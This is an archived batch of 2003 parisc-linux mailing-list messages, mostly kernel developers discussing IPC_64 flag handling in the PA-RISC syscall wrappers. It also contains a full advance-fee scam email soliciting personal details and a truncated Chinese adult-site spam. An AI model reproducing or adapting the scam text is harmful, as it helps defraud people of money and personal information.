r24-27  0000000000000000 0000000000002f84 00000000000000cc 00000000104bcc40
r28-31  00000000ffffd07c 0000000000002f84 000000004c2595c0 0000000000008000
sr0-3   000000000000c880 000000000000c880 0000000000000000 000000000000c880
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001016c334 000000001016c338
 IIR: 0e751280    ISR: 0000000000000000  IOR: 00000004104c8218
 CPU:        0   CR30: 000000004c258000 CR31: 0000000010487000
 ORIG_R28: 000000001014c1a4
<2><2>



From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Sun, 2 Nov 2003 19:01:50 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20031102180150.GA14554@solo.franken.de>
References: <20031101082451.GJ28967@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622922 959 80.91.229.3 (22 Nov 2014 02:22:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  2 11:03:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD1AD483E
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Nov 2003 11:03:21 -0700 (MST)
Original-Received: from uucp by elvis.franken.de with local-rmail (Exim 3.36 #1)
	id 1AGMZL-0005lT-00; Sun, 02 Nov 2003 19:03:19 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id A454727C9A; Sun,  2 Nov 2003 19:01:50 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20031101082451.GJ28967@tausq.org>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19976

On Sat, Nov 01, 2003 at 12:24:51AM -0800, Randolph Chung wrote:
> in our syscall table, semctl, msgctl and shmctl are marked as "broken".
> Does anybody know what's up with that?
> 
> i did a simple hack, which is to replace
> 
>         return sys_msgctl (msqid, cmd & ~IPC_64, buf);
> 
> with 
> 
>         return sys_msgctl (msqid, cmd | IPC_64, buf);
> 
> in sys_parisc.c, and at least in some simple tests it seems to work
> (whereas the original one was really broken)

if this makes a difference, something in ipc/util.c is missing. When I
added the code above, I also made the ipc_parse_version only return
IPC_64, because we never had IPC_OLD. Older glibc made the call with
IPC_64 set, so we needed the wrapper in sys_parisc.c. I just looked
at the 2.4 version of ipc/util.c and it's still ok ...

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]


From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Sun, 2 Nov 2003 10:12:52 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20031102181252.GY28967@tausq.org>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622923 961 80.91.229.3 (22 Nov 2014 02:22:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  2 11:09:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E010484E
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Nov 2003 11:09:12 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 496ECCD2F8; Sun,  2 Nov 2003 10:12:52 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20031102180150.GA14554@solo.franken.de>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19977

> if this makes a difference, something in ipc/util.c is missing. When I
> added the code above, I also made the ipc_parse_version only return
> IPC_64, because we never had IPC_OLD. Older glibc made the call with
> IPC_64 set, so we needed the wrapper in sys_parisc.c. I just looked
> at the 2.4 version of ipc/util.c and it's still ok ...

Ah! that explains it.... that change was not brought forward to 2.6...
i was wondering why my test worked on 2.4 and failed on 2.6....

anyway, if we are only supporting IPC_64, then why mask off the IPC64
bit in the wrapper? if the ipc/utils.c stuff isn't there, wouldn't it
default to doing the right thing when IPC_64 is set?

right now glibc *doesn't* call the syscall with IPC_64, but i'm about to
make it do that again.

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "PATRICK" <tamapat@zwallet.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc-linux,SOLICITATION FOR YOUR ASSISTANCE
Date: Tue, 4 Nov 2003 04:58:07 GMT
Lines: 91
Approved: news@gmane.org
Message-ID: <MAIL017EjQxzmWecm9t00000689@mail01.procurator.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622923 967 80.91.229.3 (22 Nov 2014 02:22:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  2 12:58:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail01.procurator.no (mail.procurator.no [194.19.37.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id E028648FF
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Nov 2003 12:58:31 -0700 (MST)
Original-Received: from smtp0391.mail.yahoo.com ([61.11.55.115]) by mail01.procurator.no with Microsoft SMTPSVC(5.0.2195.6713);
	 Sun, 2 Nov 2003 20:58:45 +0100
X-Priority: 3
X-OriginalArrivalTime: 02 Nov 2003 19:59:00.0406 (UTC) FILETIME=[C1FBCD60:01C3A17B]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19978

>From Mr. PATRICK TAMA.

 
Attention
I am Mr. Patrick Tama and my sister is Miss Rose Tama,
we are the children of Late Chief Paul Tama from Sierra
Leone. 
I am writing you in absolute confidence primarily to
seek your assistance to transfer our cash of Ten
Million Dollars ($10,000.000.00) now in the custody of
a private Security trust firm In Europe,the money is
in trunk boxes deposited and declared as Family
valuables by my late father as a matter of fact the
company does not know the content as money, although
my father made them to understand that the boxes
belongs to his foreign partner. 

Source of the Funds: 

My late father Chief Paul Tama, a native of Mende
District in the Northern province of Sierra Leone, was
the General Manager of Sierra Leone mining
coporation (S.L.M.C.) Freetown. According to my
father, this money was the income accrued from Mining
Corporation's over draft and minor sales. 

Before the peak of the civil war between the rebels
forces of Major Paul Koroma and the combined forces of
ECOMOG peace keeping operation that almost destroyed
my country, following the forceful removal from power
of the civilian elected President Ahmed Tejan Kabbah
by the rebels. My father had already made arrangement
for his family(talking about)my mother, my little
sister and myself to be evacuated to The Netherlands 
with the CERTIFICATE OF DEPOSIT he made with a
security firm in Europe through the aid of U.N
evacuation team. 

During the war in my country, and following the
indiscriminate Looting of Public and Government
properties by the rebel forces, the Sierra Leone
mining corporation was one of the targets looted and it was
destroyed. My father including other top Government
functionaries were attacked and killed by the rebels
in November 2000 because of his relationship with the
civilian Government of Ahmed Tejan Kabbah. 

As a result of my father's death and with the news of
my uncle's Involvement in the air crash in January, it
dashed our hopes of survival. The untimely deaths
caused my mother's heart failure and other related
complications  which  later  lead to her death in the hospital
after we had spent a lot of money on her early
this year. Now my 18 year old sister and I are
alone in this country suffering without any
care or help. Without any relation, we are now like
refugees and orphans. 

Our only hope now is in you and the boxes deposited
in the Security Firm, to this effect, I humbly
solicit your assistance in the Following ways. 

1. To assist me claim this boxes from the security 
Firm as our beneficiary. 

2. To transfer this money (USD$10M) in your name to
your country.

3. To make a good arrangement for a joint business
investment on our Behalf in your country and you, 
our Adviser/ Manager For your assistance, I have 
agreed with my younger sister that 20% of the total 
amount will be for your effort and another 10 % to 
cover all the expenses that may be incurred during the
business transaction, Lastly, I urge you to keep this 
transaction strictly confidential as no one knows our
where about. 

Please as you show your willingness; Forward to us
your full name, address and Tel/ Fax numbers, company
name and address (if any) to me via my private email
address as indicated below, this is for security
reasons as I will only be accessing my private email.
Earnestly awaiting your response. 

Thanks. 

May God bless you as you assist us

Mr. Patrick Tama


From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was: do_page_fault?]
Date: Sun, 2 Nov 2003 15:22:28 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20031102202228.GA26145@systemhalted>
References: <3F8A272E00004AD1@ocpmta3.freegates.net> <1067729239.794.8.camel@sid.debian.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622923 969 80.91.229.3 (22 Nov 2014 02:22:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  2 13:27:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB7B0484E
	for <parisc-linux@parisc-linux.org>; Sun,  2 Nov 2003 13:27:08 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AGOk1-0006q1-00; Sun, 02 Nov 2003 15:22:29 -0500
Content-Disposition: inline
In-Reply-To: <1067729239.794.8.camel@sid.debian.home>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (57% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19979

On Sat, Nov 01, 2003 at 11:27:20PM +0000, Joel Soete wrote:
> Hi Carlos,
> 
> I don't understand anymore anything.
> 
> This afternoon i recompile k 2.4.23-pre9-pa13 + Randolph patch to test
> it. (Ok)
> 
> So I launch evolution which crash at the same place as usual.
> 
> After the diner I restart this c110 with this new kernel but this time,
> no more "do_page_fault() pid=805 command='evolution' type=7". I restart
> it severall time no means to reproduce anymore :(

So it doesn't crash anymore? :) 

c.


From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Sun, 2 Nov 2003 22:42:00 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20031102214200.GA5299@solo.franken.de>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de> <20031102181252.GY28967@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622924 973 80.91.229.3 (22 Nov 2014 02:22:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  2 14:43:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73BF3483E
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Nov 2003 14:43:24 -0700 (MST)
Original-Received: from uucp by elvis.franken.de with local-rmail (Exim 3.36 #1)
	id 1AGQ0I-0003sR-00; Sun, 02 Nov 2003 22:43:22 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id D355627C9A; Sun,  2 Nov 2003 22:42:00 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20031102181252.GY28967@tausq.org>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19980

On Sun, Nov 02, 2003 at 10:12:52AM -0800, Randolph Chung wrote:
> anyway, if we are only supporting IPC_64, then why mask off the IPC64
> bit in the wrapper? if the ipc/utils.c stuff isn't there, wouldn't it
> default to doing the right thing when IPC_64 is set?

look at the switch statements in msg.c/sem.c/shm.c. If you don't mask
off IPC_64, the cases don't match.

> right now glibc *doesn't* call the syscall with IPC_64, but i'm about to
> make it do that again.

I don't think this is a good idea, because by checking for IPC_64 we
could see, whether an old glibc is used and could convert structs
(see sys_parisc.c:sys_shmctl_broken()).

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]


From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Sun, 2 Nov 2003 13:55:28 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <20031102215528.GC28967@tausq.org>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de> <20031102181252.GY28967@tausq.org> <20031102214200.GA5299@solo.franken.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622924 974 80.91.229.3 (22 Nov 2014 02:22:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  2 14:55:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF582484E
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Nov 2003 14:55:18 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 2035FCD33B; Sun,  2 Nov 2003 13:55:28 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20031102214200.GA5299@solo.franken.de>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19981

> look at the switch statements in msg.c/sem.c/shm.c. If you don't mask
> off IPC_64, the cases don't match.
> 
> > right now glibc *doesn't* call the syscall with IPC_64, but i'm about to
> > make it do that again.
> 
> I don't think this is a good idea, because by checking for IPC_64 we
> could see, whether an old glibc is used and could convert structs
> (see sys_parisc.c:sys_shmctl_broken()).

?

the whole point is to check the value passed in from userspace instead
of forcing a particular value in the kernel, right?

what i'm proposing is:
- don't touch 2.4, glibc can pass in IPC_64 or not, and it will work
  (since the kernel forces something anyway)

- fix glibc to pass in IPC_64 properly into the kernel from now on, 
  2.4 will still work with current hacks.

- fix 2.6 to detect the IPC_64 flag and go through the "normal"
  (arch-indep) path to figure out it should use the new structs

2.6 is broken as it is now, so there's no 2.6 compatibility to worry
about.

did i miss something?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Sun, 2 Nov 2003 17:56:27 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20031102225626.GF26916@systemhalted>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de> <20031102181252.GY28967@tausq.org> <20031102214200.GA5299@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622924 977 80.91.229.3 (22 Nov 2014 02:22:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:04 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  2 16:01:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E53F483E
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Nov 2003 16:01:05 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AGR91-00079m-00; Sun, 02 Nov 2003 17:56:27 -0500
Content-Disposition: inline
In-Reply-To: <20031102214200.GA5299@solo.franken.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19982

On Sun, Nov 02, 2003 at 10:42:00PM +0100, Thomas Bogendoerfer wrote:
> On Sun, Nov 02, 2003 at 10:12:52AM -0800, Randolph Chung wrote:
> > anyway, if we are only supporting IPC_64, then why mask off the IPC64
> > bit in the wrapper? if the ipc/utils.c stuff isn't there, wouldn't it
> > default to doing the right thing when IPC_64 is set?
> 
> look at the switch statements in msg.c/sem.c/shm.c. If you don't mask
> off IPC_64, the cases don't match.
> 
> > right now glibc *doesn't* call the syscall with IPC_64, but i'm about to
> > make it do that again.
> 
> I don't think this is a good idea, because by checking for IPC_64 we
> could see, whether an old glibc is used and could convert structs
> (see sys_parisc.c:sys_shmctl_broken()).

There is no such thing as that "old glibc" we have always had
__ASSUME_IPC64. What support are we looking to preserve?

c.



From - Thu Nov 08 21:29:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?gb2312?q?=C4=E3=B5=C4=BA=C3=C5=F3=D3=D1=A3=A8=B2=C2=CF=C2=B0=C9=A3=A9_ <tixo@126.com>,
	?=@dsl2.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?gb2312?q?=D3=D0=B8=F6=CD=EA=C8=AB=C3=E2=B7=D1=B5=C4=B3=C9=C8=CB=CD=F8=D5=BE=B8=F8=C4=E3=A3=A8=D3=D0=CA=B1=BC=E4=D5=D2=CE=D2=A3=A9?=
Date: Mon, 03 Nov 2003 16:09:51 +0800
Lines: 56
Approved: news@gmane.org
Message-ID: <20031103080345.C19B3483E@dsl2.external.hp.com>
Reply-To: tixo@126.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/related; boundary="543b1156-0d0e-4212-8bfa-5d684c28e89d"
X-Trace: ger.gmane.org 1416622925 979 80.91.229.3 (22 Nov 2014 02:22:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  3 01:03:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 126222.com (unknown [218.15.20.224])
	by dsl2.external.hp.com (Postfix) with SMTP id C19B3483E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Nov 2003 01:03:45 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19983

This is a multi-part message in MIME format
--543b1156-0d0e-4212-8bfa-5d684c28e89d
Content-Type: text/html; charset=gb2312
Content-Transfer-Encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>=A1=BE=CD=BC=B0=D4=CD=F8=A1=BF=D2=BB=B8=F6=CD=EA=C8=AB=C3=E2=B7=D1=B5=
=C4=B3=C9=C8=CB=CD=F8=D5=BE(tpwin.126.com)=C8=AB=D0=C2=B8=D0=BE=F5!</TITLE>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; charset=3Dgb2312">
</HEAD>
<BODY BGCOLOR=3D"#F1F3E2" TEXT=3D"#000000">
<TABLE WIDTH=3D"90%" BORDER=3D"1" CELLSPACING=3D"0" ALIGN=3D"CENTER"><TR><TD =
WIDTH=3D"88%"><FONT COLOR=3D"#0000FF"><B><A HREF=3D=
"http://wwwmw.126.com"><FONT COLOR=3D"#FF0000">=A1=BE=CD=BC=B0=D4=CD=F8=A1=BF=
=B3=C9=C4=EA=C8=CB=B5=C4=CC=EC=B5=D8.=C8=AB=D0=C2=B8=D0=BE=F5=A3=A1=
</FONT></A></B></FONT><A HREF=3D"http://wwwmw.126.com"><FONT COLOR=3D=
